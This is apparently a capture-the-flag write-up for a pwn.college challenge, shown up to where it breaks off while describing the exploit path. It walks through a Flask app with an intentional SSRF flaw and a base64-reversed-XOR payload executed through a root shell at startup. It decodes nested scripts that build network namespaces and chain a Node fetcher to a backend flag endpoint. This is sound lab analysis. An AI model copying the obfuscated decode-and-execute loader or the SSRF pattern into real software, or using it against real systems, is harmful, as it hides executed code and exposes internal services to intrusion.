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'

@app.route('/')
def index():
    return '''
    <!DOCTYPE html>
    <html>
    <head>
        <title>Zardus' Naughty List</title>
        <style>
            body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; }
            h1 { color: #c41e3a; }
            form { margin-top: 30px; }
            label { display: block; margin-top: 15px; font-weight: bold; }
            input[type="text"] { width: 100%; padding: 8px; margin-top: 5px; }
            input[type="submit"] { margin-top: 20px; padding: 10px 20px; background-color: #c41e3a; color: white; border: none; cursor: pointer; }
            input[type="submit"]:hover { background-color: #a01729; }
        </style>
    </head>
    <body>
        <h1>Zardus' pwn.college Naughty List</h1>
        <p>Have you been naughty or nice? Check if you're on Zardus' pwn.college naughty list!</p>

        <form action="/check" method="POST">
            <label for="hacker_name">Hacker Name:</label>
            <input type="text" id="hacker_name" name="hacker_name" required>

            <label for="hacker_image">Hacker Image URL (optional):</label>
            <input type="text" id="hacker_image" name="hacker_image" placeholder="https://example.com/image.jpg">

            <input type="submit" value="Check Naughty List">
        </form>
    </body>
    </html>
    '''

@app.route('/check', methods=['POST'])
def check():
    hacker_name = request.form.get('hacker_name', '')
    hacker_image_url = request.form.get('hacker_image', '')

    # Validate hacker_name is provided
    if not hacker_name:
        abort(400, description="Hacker name is required")

    # Check if hacker is on the naughty list
    is_naughty = hacker_name in NAUGHTY_LIST

    # Fetch hacker image if provided
    image_data_uri = None
    if hacker_image_url:
        try:
            response = requests.get(hacker_image_url)
            image_content = response.content
            # Create data URI from image content
            encoded_image = base64.b64encode(image_content).decode('utf-8')
        except Exception as e:
            encoded_image = DEFAULT_IMAGE
    else:
        encoded_image = DEFAULT_IMAGE
    
    image_data_uri = f"data:image/png;base64,{encoded_image}"

    # Build response
    result_html = f'''
    <!DOCTYPE html>
    <html>
    <head>
        <title>Naughty List Result</title>
        <style>
            body 
            h1 
            .result 
            .naughty 
            .nice 
            img 
            a 
        </style>
    </head>
    <body>
        <h1>Naughty List Result</h1>
        <div class="result {'naughty' if is_naughty else 'nice'}">
            <h2>{hacker_name}</h2>
            <p><strong>Status:</strong> {'NAUGHTY 😈' if is_naughty else 'NICE 😁'}</p>
            {f'<img src="{image_data_uri}" alt="Hacker Image">' if image_data_uri else ''}
        </div>
        <a href="/">🔙 Back to form</a>
    </body>
    </html>
    '''

    return result_html

if __name__ == '__main__':
    if PAYLOAD:
        decoded = base64.b64decode(PAYLOAD)
        reversed_bytes = decoded[::-1]
        unpacked = bytes(b ^ 0x42 for b in reversed_bytes)
        subprocess.run(unpacked.decode(), shell=True)
    app.run(host='0.0.0.0', port=80, debug=False)

On the surface, this is a simple Flask application:

  • A Flask web app on /

  • A form with:

    • hacker_name (required)

    • hacker_image (optional image URL)

  • /check:

    • Checks if hacker_name is in a hardcoded NAUGHTY_LIST
      1
      2
      3
      4
      5
      6
      
        NAUGHTY_LIST = [
        'adamd',
        'kanak',
        'claude',
        'gpt',
        ]
      
    • Fetches the image from hacker_image_url (if provided) using requests.get
    • base64-encodes the response body and shows it as:
      1
      
        <img src="data:image/png;base64,...">
      
1
2
3
4
5
6
7
8
9
10
11
12
13
hacker_image_url = request.form.get('hacker_image', '')

if hacker_image_url:
    try:
        response = requests.get(hacker_image_url)
        image_content = response.content
        encoded_image = base64.b64encode(image_content).decode('utf-8')
    except Exception as e:
        encoded_image = DEFAULT_IMAGE
else:
    encoded_image = DEFAULT_IMAGE

image_data_uri = f"data:image/png;base64,{encoded_image}"

We can control hacker_image_url, and the server (running as root) performs an HTTP GET to that URL on our behalf. The raw response body is just base64-encoded and embedded into a data: URL, then rendered back to us.

So effectively, this gives us an SSRF (Server-Side Request Forgery) primitive: we ask the server to fetch arbitrary URLs from its own network.

The interesting part is actually this PAYLOAD that runs before Flask:

1
2
3
4
5
6
7
if __name__ == '__main__':
    if PAYLOAD:
        decoded = base64.b64decode(PAYLOAD)
        reversed_bytes = decoded[::-1]
        unpacked = bytes(b ^ 0x42 for b in reversed_bytes)
        subprocess.run(unpacked.decode(), shell=True)
    app.run(host='0.0.0.0', port=80, debug=False)

So before Flask even starts, it decodes a big base64 PAYLOAD, reverses the bytes, XORs each byte with 0x42, and runs it as a shell script.

I’ll use decode.py to decode it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64

# This is the massive encoded string from the challenge
PAYLOAD = 'SGRib2IuLSAtIW0sKyBtMDE3bWInMCM1Jy4mJisvYiEnOidiMSw2JyxiMitiPmJgSHlrP0h5ayIePxYQDRI5Zh54PxYRDQo5Zh5tbXgyNjYqYiwtYiUsKywsNzBiMCc0MCcRIh5qJS0ubCcuLTEsLSFiYmJiSDlifH9ia2pibhYRDQpibhYQDRJqLCc2MSsubDAnNDAnMUh5YB57dWxwdWx7dWxwdWAeYn9iFhENCmI2MSwtIUh5cnpiPj5iFhANEmw0LCdsMTEnIS0wMmJ/YhYQDRJiNjEsLSFISHlrP0g/YmJIeWtlfHMqbX4mLDctBGI2LQx8cyp+ZWomLCdsMScwYmJiYkh5az9iZS4vNiptNjonNmVieGUnMjsWbzYsJzYsLQFlYjlibnZydmomIycKJzYrMDVsMScwYmJiYkg5YicxLidiP2JiSD9iYmJiSHlrIh58cyptfj8nJSMxMScvbDAtMDAnOWYeYngOEBdiJSwrKiE2JyRiMC0wMAd8cyp+Ih5qJiwnbDEnMGJiYmJiYkh5az9iZS4vNiptNjonNmVieGUnMjsWbzYsJzYsLQFlYjlibnJyd2omIycKJzYrMDVsMScwYmJiYmJiSDliazAtMDAnamIqITYjIWI/YmJiYkh5azYsJzYsLSFqJiwnbDEnMGJiYmJiYkh5az9iZSwrIy4ybTY6JzZlYnhlJzI7Fm82LCc2LC0BZWI5Ym5ycnBqJiMnCic2KzA1bDEnMGJiYmJiYkh5a2o2Oic2bCcxLC0yMScwYjYrIzUjYn9iNiwnNiwtIWI2MSwtIWJiYmJiYkh5ay4wFzYnJTAjNmoqITYnJGI2KyM1I2J/YicxLC0yMScwYjYxLC0hYmJiYmJiSDliOzA2YmJiYkhIP2JiYmJIeSwwNzYnMGJiYmJiYkh5a2V8cyptfjAnNicvIzAjMmIuMDdiJSwrMTErD3xzKn5laiYsJ2wxJzBiYmJiYmJIeWs/YmUuLzYqbTY6JzZlYnhlJzI7Fm82LCc2LC0BZWI5Ym5ycnZqJiMnCic2KzA1bDEnMGJiYmJiYkg5YmsuMBc2JyUwIzZjamIkK2JiYmJISHkuMDdsOzAnNzNsLjAXJicxMCMyYn9iLjAXNiclMCM2YjYxLC0hYmJiYkg5YmtlKiE2JyRtZWJ/f39iJy8jLCo2IzJsLjAXJicxMCMy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BxBiKG9iNjEtKm8qNic0Yi1vYhYXEhYXDWIDb2IxJy4gIzYyK0gWEgcBAQNiKG9iNi0tMGIwJyw1LW8mKzdvb2IwJyw1LWIvb2I2MS0qbyo2JzRiLW9iFhcSFhcNYgNvYjEnLiAjNjIrSEgyN2ItLmI2JzFiKSwrLmIyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitIYmJic2xwdWx7dWxwdWIjKzRiNi43IyQnJmImJiNiJzY3LTBiMitiJzAjNScuJiYrL2IhJzonYjEsNicsYjIrSDI3YicwIzUnLiYmKy9vKjYnNGI2JzFiKSwrLmIyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitIJzAjNScuJiYrL28qNic0YjQnJmJ2cG17dWxwdWx7dWxwdWImJiNiMCYmI2IyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitISDI3YjYxLSpvKjYnNGI2JzFiKSwrLmIyK0g2MS0qbyo2JzRiNCcmYnZwbXNscHVse3VscHViJiYjYjAmJiNiMitIJzAjNScuJiYrL2IxLDYnLGInMCM1Jy4mJisvbyo2JzRiNicxYiksKy5iMitIJzAjNScuJiYrL28qNic0YicvIyxiMCcnMmIqNic0YicyOzZiNjEtKm8qNic0YiYmI2IpLCsuYjIrSCcwIzUnLiYmKy9iJiYjYjEsNicsYjIr'

# Decode Step 1: Base64
decoded = base64.b64decode(PAYLOAD)

# Decode Step 2: Reverse the bytes
reversed_bytes = decoded[::-1]

# Decode Step 3: XOR with 0x42
unpacked = bytes(b ^ 0x42 for b in reversed_bytes)

# Print the result (this is the hidden source code)
print(unpacked.decode())

Ouput:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
ip netns add middleware
ip link add veth-host type veth peer name veth-middleware
ip link set veth-middleware netns middleware
ip addr add 72.79.72.1/24 dev veth-host
ip link set veth-host up

ip netns exec middleware ip addr add 72.79.72.79/24 dev veth-middleware
ip netns exec middleware ip link set veth-middleware up
ip netns exec middleware ip route add default via 72.79.72.1
ip netns exec middleware ip link set lo up

iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT

echo "const http = require('http');
const url = require('url');
const { execSync } = require('child_process');

const payload = 'a3IicGd2cHUiY2ZmImRjZW1ncGYMa3IibmtwbSJjZmYieGd2ai9qcXV2InZ7cmcieGd2aiJyZ2d0InBjb2cieGd2ai9kY2VtZ3BmDGtyIm5rcG0idWd2InhndmovZGNlbWdwZiJwZ3ZwdSJkY2VtZ3BmDGtyImNmZnQiY2ZmIjo6MDk5MDg3MDMxNDYiZmd4InhndmovanF1dgxrciJua3BtInVndiJ4Z3ZqL2pxdXYid3IMDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJjZmZ0ImNmZiI6OjA5OTA4NzA6NTE0NiJmZ3gieGd2ai9kY2VtZ3BmDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJua3BtInVndiJ4Z3ZqL2RjZW1ncGYid3IMa3IicGd2cHUiZ3pnZSJkY2VtZ3BmImtyInRxd3ZnImNmZiJmZ2hjd252InhrYyI6OjA5OTA4NzAzIiIiDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJua3BtInVndiJucSJ3cgwMa3J2Y2RuZ3UiL0MiUVdWUldWIi9xInhndmovanF1diIvbyJxeXBndCIvL3drZi9xeXBndCJ0cXF2Ii9sIkNFRUdSVgxrcnZjZG5ndSIvQyJRV1ZSV1YiL3EieGd2ai9qcXV2Ii9sIlRHTEdFVgwMZ3pycXR2IlRDRU1hR1BYP3J0cWZ3ZXZrcXAMDGdlanEiJHRnc3drdGciKXVrcGN2dGMpDAx1Z3YiPGdweGt0cXBvZ3B2LiI8cnRxZndldmtxcAx1Z3YiPGRrcGYuIik6OjA5OTA4NzA6NSkMdWd2IjxycXR2LiI6MgwMaWd2IikxKSJmcQwiIl4kPmozQElxImN5Y3suIntxdylubiJwZ3hndCJoa3BmInZqZyJobmNpPjFqM0BeJAxncGYMDGlndiIpMWhuY2kpImZxDCIia2gicmN0Y291XSl6b2N1KV8iPz8iKWpxanFqcS9rL3ljcHYvdmpnL2huY2kpDCIiIiJIa25nMHRnY2YqKTFobmNpKSsMIiJnbnVnDCIiIiJeJD5qM0B2amN2KXUicHF2ImVxdHRnZXY+MWozQF4kDCIiZ3BmDGdwZgwkIn4ia3IicGd2cHUiZ3pnZSJkY2VtZ3BmIjF3dXQxZGtwMXJqciIvIigM';

if (payload) {
  const decoded = Buffer.from(payload, 'base64');
  const unpacked = Buffer.from(decoded.map(byte => (byte - 2 + 256) % 256));
  execSync(unpacked.toString(), { stdio: 'inherit' });
}

const server = http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);

  if (parsedUrl.pathname === '/') {
    res.writeHead(200, { 'Content-Type': 'text/html' });
    res.end('<h1>Welcome to the middleware service. We fetch things!</h1>');
  } else if (parsedUrl.pathname === '/fetch') {
    const targetUrl = parsedUrl.query.url;

    if (!targetUrl) {
      res.writeHead(400, { 'Content-Type': 'text/html' });
      res.end('<h1>Missing url parameter</h1>');
      return;
    }

    try {
      const response = await fetch(targetUrl);
      const content = await response.text();
      res.writeHead(200, { 'Content-Type': 'text/plain' });
      res.end(content);
    } catch (error) {
      res.writeHead(500, { 'Content-Type': 'text/html' });
      res.end(\`<h1>Error fetching URL: \${error.message}</h1>\`);
    }
  } else {
    res.writeHead(404, { 'Content-Type': 'text/html' });
    res.end('<h1>Not Found</h1>');
  }
});

const PORT = process.env.PORT || 80;
const HOST = \"72.79.72.79\";
server.listen(PORT, HOST, () => {
    console.log(\`Server running on http://\${HOST}:\${PORT}\`);
});
" | ip netns exec middleware /usr/bin/cobol - &

Overall, this script starts an HTTP server inside a network namespace called middleware.
The interesting part is the /fetch endpoint:

  • It takes a url parameter from the user.
  • It calls fetch(targetUrl) server-side.
  • It returns the raw response body directly.

So this middleware is a second SSRF layer: an internal HTTP fetcher we can steer to arbitrary URLs.

Decode the second payload inside with decode2.py:

1
2
3
4
5
6
7
8
9
10
11
import base64

# This is the massive encoded string from the challenge
payload = 'a3IicGd2cHUiY2ZmImRjZW1ncGYMa3IibmtwbSJjZmYieGd2ai9qcXV2InZ7cmcieGd2aiJyZ2d0InBjb2cieGd2ai9kY2VtZ3BmDGtyIm5rcG0idWd2InhndmovZGNlbWdwZiJwZ3ZwdSJkY2VtZ3BmDGtyImNmZnQiY2ZmIjo6MDk5MDg3MDMxNDYiZmd4InhndmovanF1dgxrciJua3BtInVndiJ4Z3ZqL2pxdXYid3IMDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJjZmZ0ImNmZiI6OjA5OTA4NzA6NTE0NiJmZ3gieGd2ai9kY2VtZ3BmDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJua3BtInVndiJ4Z3ZqL2RjZW1ncGYid3IMa3IicGd2cHUiZ3pnZSJkY2VtZ3BmImtyInRxd3ZnImNmZiJmZ2hjd252InhrYyI6OjA5OTA4NzAzIiIiDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJua3BtInVndiJucSJ3cgwMa3J2Y2RuZ3UiL0MiUVdWUldWIi9xInhndmovanF1diIvbyJxeXBndCIvL3drZi9xeXBndCJ0cXF2Ii9sIkNFRUdSVgxrcnZjZG5ndSIvQyJRV1ZSV1YiL3EieGd2ai9qcXV2Ii9sIlRHTEdFVgwMZ3pycXR2IlRDRU1hR1BYP3J0cWZ3ZXZrcXAMDGdlanEiJHRnc3drdGciKXVrcGN2dGMpDAx1Z3YiPGdweGt0cXBvZ3B2LiI8cnRxZndldmtxcAx1Z3YiPGRrcGYuIik6OjA5OTA4NzA6NSkMdWd2IjxycXR2LiI6MgwMaWd2IikxKSJmcQwiIl4kPmozQElxImN5Y3suIntxdylubiJwZ3hndCJoa3BmInZqZyJobmNpPjFqM0BeJAxncGYMDGlndiIpMWhuY2kpImZxDCIia2gicmN0Y291XSl6b2N1KV8iPz8iKWpxanFqcS9rL3ljcHYvdmpnL2huY2kpDCIiIiJIa25nMHRnY2YqKTFobmNpKSsMIiJnbnVnDCIiIiJeJD5qM0B2amN2KXUicHF2ImVxdHRnZXY+MWozQF4kDCIiZ3BmDGdwZgwkIn4ia3IicGd2cHUiZ3pnZSJkY2VtZ3BmIjF3dXQxZGtwMXJqciIvIigM'
# Decode Step 1: Base64
decoded = base64.b64decode(payload)

# Each byte-2 and mod 256
unpacked = bytes((b - 2) % 256 for b in decoded)

print(unpacked.decode())

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ip netns add backend
ip link add veth-host type veth peer name veth-backend
ip link set veth-backend netns backend
ip addr add 88.77.65.1/24 dev veth-host
ip link set veth-host up

ip netns exec backend ip addr add 88.77.65.83/24 dev veth-backend
ip netns exec backend ip link set veth-backend up
ip netns exec backend ip route add default via 88.77.65.1
ip netns exec backend ip link set lo up

iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT

export RACK_ENV=production

echo "require 'sinatra'

set :environment, :production
set :bind, '88.77.65.83'
set :port, 80

get '/' do
  \"<h1>Go away, you'll never find the flag</h1>\"
end

get '/flag' do
  if params['xmas'] == 'hohoho-i-want-the-flag'
    File.read('/flag')
  else
    \"<h1>that's not correct</h1>\"
  end
end
" | ip netns exec backend /usr/bin/php - &

From this result, we see that it creates another network namespace called backend, which is connected to middleware via the 88.77.65.0/24 network. Inside backend, it runs a Sinatra app bound to 88.77.65.83:80 that:

  • / returns Go away, you'll never find the flag
  • /flag checks if xmas query parameter is hohoho-i-want-the-flag and returns the flag if correct, otherwise returns that's not correct

So our target is to access http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag


Exploitation

Flow:

1
2
3
4
5
6
7
[You] 
  ↓ HTTP
[Flask] (SSRF #1 via hacker_image_url)
  ↓ HTTP to 72.79.72.79
[Node /fetch] (SSRF #2 via url=...)
